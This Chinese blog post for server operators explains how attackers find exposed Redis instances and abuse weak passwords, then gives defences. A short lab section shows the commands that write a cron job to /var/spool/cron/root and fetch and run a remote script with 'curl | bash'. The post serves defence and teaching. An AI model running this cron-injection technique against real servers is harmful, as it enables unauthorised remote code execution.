携手创作,共同成长!这是我参加「日新方案 8 月更文应战」的第18天,点击查看活动概况
本篇文章不会讲解具体的进犯指令,只讨论进犯策略和办法,更重要,愈加重要的是作为一名运维而言,要知道怎样防止被进犯,以此来保证服务器安稳安全的运转。
各位运维同仁大家好,咱们之前在 服务器被挖矿了后应当怎样做 中提及过,怎样防备服务器被挖矿,其间有几条办法,分别是 权限最小化、合理运用防火墙 以及 关闭不必要的插件服务 。
正所谓知己知彼百战不殆, 那咱们本篇文章来论述一下怎样运用Redis
弱暗码进行进犯服务器,咱们知晓了其进犯办法和原理,咱们才能更好的防备此类进犯。
进犯者是怎样找到咱们服务的
要了解这个之前,咱们首先得稍微普及下网络端口的相关常识,tcp/ip
传输层端口最大为65535,这个是怎样决议的呢? 这个其实取决于tcp/udp
报文中端口所占的字节数目决议的,例如tcp
报文和udp
报文如下,由于在报文中都占了16位(2字节),所以答应的最大端口数为: 2的16次方为 65536 ,注意这儿还包含一个0,所以答应的最大端口数为 0 — 65535。
材料来源rfc793: www.rfc-editor.org/rfc/rfc793
材料来源rfc768: www.rfc-editor.org/rfc/rfc768
而65535个端口也被分配为了以下三类,大概如下
资源来源: rfc6335 www.rfc-editor.org/rfc/rfc6335…
端口范围 | 称号 | 作用 |
---|---|---|
0 ~ 1023 | 熟知端口号 | 体系端口,一些根底服务运用的 |
1024 ~ 49151 | 注册端口号 | 用户端口,一些知名服务运用的 |
49152 ~ 65535 | 动态端口号 | 例如客户端在建立通信时暂时运用的 |
咱们看一下熟知端口号
端口号 | 描绘 | 协议 |
---|---|---|
20/21 | FTP运用 | TCP |
22 | ssh运用 | TCP |
25 | SMTP运用 | TCP |
53 | DNS运用 | UDP/TCP |
80 | HTTP运用 | TCP |
443 | HTTPS运用 | TCP |
顺便来看一下常用的注册端口号
端口号 | 描绘 | 协议 |
---|---|---|
3306 | MySQL运用 | TCP |
6379 | Redis运用 | TCP |
10050 | zabbix-agent运用 | TCP |
如上,咱们就知晓了常用的端口号,例如我就想找对外开放了的redis
服务,进行进犯,那么最简略的办法是扫描整个网段的6379
端口,收集到相关的信息后,就知晓哪些是ip
的服务是可以测验拜访的。
这儿介绍一个端口扫描东西: nmap
,具体怎样扫描的,由于篇幅原因,就不打开叙述了。
进犯者是怎样进入大门的
上述经过nmap
东西,咱们假定现已找见redis
的大门了,那么咱们怎样进门呢? 欠好的当地在于redis
是没有用户名概念的,仅有一个暗码(这对进犯者极为友爱), 咱们假定该数据库设置了暗码,这个时分,进犯者普遍会拿出一大把钥匙(暗码字典),然后逐渐穷举测验进入大门,若是很不幸,暗码恰好在字典中,那数据库大门就被打开了。
这儿仍是介绍一个暗码破解东西: hydra
,具体是怎样操作的,这儿仍是由于篇幅原因,就不打开讲了。
这儿主要提及一点,能否破解成功,是要依托暗码字典,可是暗码字典越长,所破解的时刻就越长。
这儿,咱们假定运用的弱暗码,被东西破解掉,以此来推进咱们文章接下来的剧情。
关于Redis和Linux根底常识
这儿为何要介绍这段呢? 这是由于任何进犯方法,都是运用其软件的特性,这儿将介绍下Redis
和Linux
被进犯的时分,需求的根底常识,若是对此感兴趣,可以转战Linux
和Redis
专区学习更多常识。
Redis
咱们将介绍Redis
怎样写入string
类型的key
,以及落地概念和指令等。
Redis
作为一个内存数据库,咱们想在数据库中插入一个string
类型的数据,可以运用set
指令,例如:
127.0.0.1:6379> set hello world
OK
127.0.0.1:6379> get hello
"world"
127.0.0.1:6379>
如上指令,咱们运用set
来写一个称号为hello
的string
类型数据,其值为world
,然后经过get
指令获取hello
的值。
如上就现已将数据写入内存了,可是Redis
数据库为了防止由于机器原因(例如断电)等,内存中的数据丢掉,所以Redis
有一个功用,称之为数据落地。
咱们运用save
指令,就可以使其履行落地操作。
127.0.0.1:6379> save
OK
127.0.0.1:6379>
具体落地到哪个目录呢? 文件名是什么呢,别急,咱们也可以经过查询得知。
127.0.0.1:6379> config get dir
1) "dir"
2) "/var/lib/redis"
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
127.0.0.1:6379>
经过如上的指令,咱们来简略论述下,redis
中的变量dir
保存的是数据落地的目录,同理dbfilename
保存的时分落地的文件称号。
咱们收拾为表格,如下:
指令 | 含义 |
---|---|
dir | 数据落地的目录称号 |
filename | 数据落地的文件称号 |
save | 立即履行数据落地操作 |
set | 向数据库写入数据 |
Linux
咱们将介绍Linux
的守时使命cron
和 秘钥登录 以及 怎样从网络加载脚本文件在服务器履行,咱们分别来看。
履行网络上的脚本文件
在Linux
中,咱们可以经过 curl
合作bash
的方法,来使远程脚本履行,我么来测验下。
咱们编写如下脚本,脚本称号为: test.sh
#!/bin/bash
echo "hello juejin pdudo !"
便是很简略,输出一句话hello juejin pdudo !
。
咱们将其放置在web
服务器下,我现已建立好了,而且现已做了内部dns
映射。
咱们运用curl
查询下。
上述显现,咱们现已将脚本放到web
服务器下,且可以拜访了。
咱们怎样履行远程脚本呢? 咱们可以运用管道的方法来履行,例如如上脚本,咱们可以运用如下指令履行
curl -s pdudo.:81/test.sh | bash
履行效果如下:
守时使命
Linux
守时使命其实是有一个守护进程的,想要履行守时使命,需求先将其开起来。
在centos 7
下,可以运用systemctl status crond
看其状态。
咱们怎样查看和编辑守时使命呢? 咱们可以运用crond
的编辑东西: crontab
。
其参数有2个比较重要的。
-e
: 编辑当时用户下的守时使命
-l
: 查看当时用户下的守时使命
例如咱们创立一个使命
* * * * * echo "pdudo juejin" >> /data/hello.txt
其间时刻为: * * * * *
,指令为: echo "pdudo juejin" >> /data/hello.txt
其时刻为每分钟都履行该使命。
咱们在新建使命后,可以在/data/hello.txt
文件中查看是否有数据发生了。
咱们界说后的使命,实际保存在哪里了呢?
咱们界说使命后,会被保存到/var/spool/cron/
目录中,以用户名命名,例如咱们刚刚创立的使命,咱们可以运用如下指令获取:
秘钥登录
在linux
中,登录ssh
除了运用暗码之外,还可以运用所谓的秘钥登录,咱们来简略演示下。
咱们运用ssh-keygen
来生成秘钥
如上指令履行成功后,咱们会得到2个文件,id_rsa
咱们称之为私钥,id_rsa.pub
咱们称之为公钥,咱们仅需求将公钥发送到想要登录的机器上,咱们即可运用无暗码登录。
咱们来测验下,咱们将id_rsa.pub
的内容复制到pdudo.
下的/root/.ssh/authorized_keys
中。
这儿是想登录到哪个用户,就放到哪个用户的家目录下的 .ssh/authorized_keys
即可。
然后测验登录机器。
怎样运用Redis进行进犯呢
正如上所述,咱们可以运用其特性,比如redis
落地功用,而linux
从文件抓取守时使命等,咱们只需求将redis
的功用运用好,让其可以满足linux
使命的调用,即可实现进犯。
实验
咱们经过上述根底常识铺垫,进犯者在进入redis
数据库后,会将指令写入key
中,例如:
咱们写入守时使命,从远程履行脚本
127.0.0.1:6379> set xx "n* * * * * curl -s pdudo.:81/test.sh | bash >> /data/hello1.txt n"
OK
127.0.0.1:6379>
然后,咱们仅需将dir
修正到crond
目录下即可。
127.0.0.1:6379> CONFIG SET dir /var/spool/cron/
OK
127.0.0.1:6379>
且将落地文件名修正为root
127.0.0.1:6379> CONFIG set dbfilename root
OK
127.0.0.1:6379>
将数据落地到文件中
127.0.0.1:6379> SAVE
OK
127.0.0.1:6379>
此时若咱们退出redis
后再来查看文件,咱们就会发现,其实守时使命现已写进去了。
咱们看守时使命是否成功,可以看文件是否发生就可以了
注册私钥也是同理,这儿就不打开介绍了。
怎样防止被进犯
权限最小化
启动redis
的时分,不要运用root
权限,可以创立一个redis
用户用于启动该服务。
合理运用防火墙
尽量,数据库服务器,就不要对外开放,以免导致被进犯。
设置杂乱的暗码
尽量设置较为杂乱的暗码,例如可以凭借各大网站的暗码生成器。
更改服务器端口
如果你觉得上述设置还不够安全,你可以修正其对外端口。
总结
所谓的redis
进犯,其实是运用了其特性,可是上述是基于可以进入数据库的前提下的,而防止被进犯的主张仍是老三套,权限最小化、合理运用防火墙、设置杂乱的暗码、以及修正对外端口。
这个修正对外端口,我要解释一下,是可以迷惑扫描东西的,咱们可以测验下:
咱们将redis
的端口由原先的6379
修正为3306
,咱们运用nmap
扫描下。
咱们查看一下启动端口,指令: netstat -tulnp | head -n 2 ; netstat -tulnp | grep 3306
咱们运用nmap
扫描一下本地的3306
端口
咱们发现,扫描出来不是redis
服务,而是mysql
服务。所以修正端口具有迷惑性,可是效果不大,由于探一探包就清楚是什么服务了。
这儿简略提及一下,咱们已然知道了世界上还有一个机构叫做iana
,那咱们怎样查询iana
注册的端口号呢,这儿给出一个办法:
拜访iana
注册表: www.iana.org/assignments…
往下翻,有一个查找的当地,例如咱们查找 6379
,咱们看下是否是 redis
注册的哈。
总结一句 知己知彼百战不殆,作为运维,要向防备被进犯,首先要了解是怎样进犯的,才能有效的防备。
怎样样,有意思吧。